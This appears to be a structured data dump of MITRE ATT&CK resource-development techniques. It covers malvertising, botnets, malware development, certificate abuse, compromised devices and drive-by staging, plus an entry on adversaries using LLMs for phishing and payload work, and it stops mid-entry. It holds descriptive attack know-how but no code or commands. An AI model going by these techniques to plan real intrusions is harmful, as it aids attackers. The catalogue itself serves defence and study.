https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1588.007: technique: modified: '2024-04-15T23:49:14.558Z' name: Artificial Intelligence description: | Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI) For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.0' type: attack-pattern id: attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e created: '2024-03-11T13:37:31.836Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1588/007 external_id: T1588.007 - source_name: MSFT-AI description: Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024. url: https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/ - source_name: OpenAI-CTI description: OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved March 11, 2024. url: https://openai.com/blog/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1584.008: technique: modified: '2024-04-19T12:24:40.659Z' name: Network Devices description: |- Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Gavin Knapp x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.0' x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869 created: '2024-03-28T03:29:35.616Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1584/008 external_id: T1584.008 - source_name: Wired Russia Cyberwar description: Greenberg, A. (2022, November 10). Russia’s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023. url: https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/ - source_name: Mandiant Fortinet Zero Day description: Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023. url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem - source_name: Justice GRU 2024 description: Office of Public Affairs. (2024, February 15). Justice Department Conducts Court-Authorized Disruption of Botnet Controlled by the Russian Federation’s Main Intelligence Directorate of the General Staff (GRU). Retrieved March 28, 2024. url: https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1583.008: technique: modified: '2023-04-17T15:32:39.470Z' name: Malvertising description: "Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. \n\nAdversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising) \n\nMalvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)\n\nAdversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Tom Hegel - Goldstein Menachem - Hiroki Nagahama, NEC Corporation - Manikantan Srinivasan, NEC Corporation India - Pooja Natarajan, NEC Corporation India - Juan Carlos Campuzano - Mnemo-CERT x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.0' x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096 created: '2023-02-21T20:46:57.170Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1583/008 external_id: T1583.008 - source_name: BBC-malvertising description: BBC. (2011, March 29). Spotify ads hit by malware attack. Retrieved February 21, 2023. url: https://www.bbc.com/news/technology-12891182 - source_name: FBI-search description: FBI. (2022, December 21). Cyber Criminals Impersonating Brands Using Search Engine Advertisement Services to Defraud Users. Retrieved February 21, 2023. url: https://www.ic3.gov/Media/Y2022/PSA221221 - source_name: sentinelone-malvertising description: Hegel, Tom. (2023, January 19). Breaking Down the SEO Poisoning Attack | How Attackers Are Hijacking Search Results. Retrieved February 21, 2023. url: https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/ - source_name: spamhaus-malvertising description: Miller, Sarah. (2023, February 2). A surge of malvertising across Google Ads is distributing dangerous malware. Retrieved February 21, 2023. url: https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/ - source_name: Masquerads-Guardio description: Tal, Nati. (2022, December 28). “MasquerAds” — Google’s Ad-Words Massively Abused by Threat Actors, Targeting Organizations, GPUs and Crypto Wallets. Retrieved February 21, 2023. url: https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1588.004: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421 type: attack-pattern created: '2020-10-01T02:14:18.044Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1588.004 url: https://attack.mitre.org/techniques/T1588/004 - description: Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017. source_name: DiginotarCompromise url: https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/ - source_name: Let's Encrypt FAQ url: https://letsencrypt.org/docs/faq/ description: Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020. - source_name: Splunk Kovar Certificates 2017 url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020. - source_name: Recorded Future Beacon Certificates url: https://www.recordedfuture.com/cobalt-strike-servers/ description: Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020. modified: '2022-04-25T14:00:00.188Z' name: Digital Certificates description: |- Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ) After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). x_mitre_is_subtechnique: true x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Certificate: Certificate Registration' - 'Internet Scan: Response Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1583.002: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81 type: attack-pattern created: '2020-10-01T00:40:45.279Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1583.002 url: https://attack.mitre.org/techniques/T1583/002 - source_name: Unit42 DNS Mar 2019 url: https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/ description: 'Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.' modified: '2022-04-25T14:00:00.188Z' name: DNS Server description: |- Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1587.003: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--1cec9319-743b-4840-bb65-431547bce82a type: attack-pattern created: '2020-10-01T01:42:24.974Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1587.003 url: https://attack.mitre.org/techniques/T1587/003 - source_name: Splunk Kovar Certificates 2017 url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020. modified: '2022-04-25T14:00:00.188Z' name: Digital Certificates description: |- Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). x_mitre_is_subtechnique: true x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Internet Scan: Response Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1587.001: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0 type: attack-pattern created: '2020-10-01T01:33:01.433Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1587.001 url: https://attack.mitre.org/techniques/T1587/001 - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. source_name: Mandiant APT1 - source_name: Kaspersky Sofacy description: Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. url: https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ - source_name: ActiveMalwareEnergy description: Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017. url: https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/ - source_name: FBI Flash FIN7 USB url: https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/ description: 'The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022.' - source_name: FireEye APT29 description: 'FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.' url: https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf modified: '2022-05-11T14:00:00.188Z' name: Malware description: |- Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. x_mitre_is_subtechnique: true x_mitre_version: '1.2' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Malware Repository: Malware Content' - 'Malware Repository: Malware Metadata' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1586.001: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d type: attack-pattern created: '2020-10-01T01:18:35.535Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1586.001 url: https://attack.mitre.org/techniques/T1586/001 - source_name: AnonHBGary description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.' url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/ - source_name: NEWSCASTER2014 description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017. url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation - source_name: BlackHatRobinSage description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017. url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf modified: '2022-04-25T14:00:00.188Z' name: Social Media Accounts description: "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003))." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Persona: Social Media' - 'Network Traffic: Network Traffic Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1588.006: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327 type: attack-pattern created: '2020-10-15T02:59:38.628Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1588.006 url: https://attack.mitre.org/techniques/T1588/006 - source_name: National Vulnerability Database url: https://nvd.nist.gov/ description: National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020. modified: '2022-04-25T14:00:00.188Z' name: Vulnerabilities description: |- Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1583.005: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074 type: attack-pattern created: '2020-10-01T00:49:05.467Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1583.005 url: https://attack.mitre.org/techniques/T1583/005 - source_name: Norton Botnet url: https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html description: Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020. - source_name: Imperva DDoS for Hire url: https://www.imperva.com/learn/ddos/booters-stressers-ddosers/ description: Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020. - source_name: Krebs-Anna description: Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017. url: https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/ - source_name: Krebs-Bazaar description: Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017. url: https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/ - source_name: Krebs-Booter description: Brian Krebs. (2016, October 27). Are the Days of “Booter” Services Numbered?. Retrieved May 15, 2017. url: https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/ modified: '2022-04-25T14:00:00.188Z' name: Botnet description: 'Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498). x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1608.004: technique: modified: '2023-04-15T00:21:55.791Z' name: Drive-by Target description: |- Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008)) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox) Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure 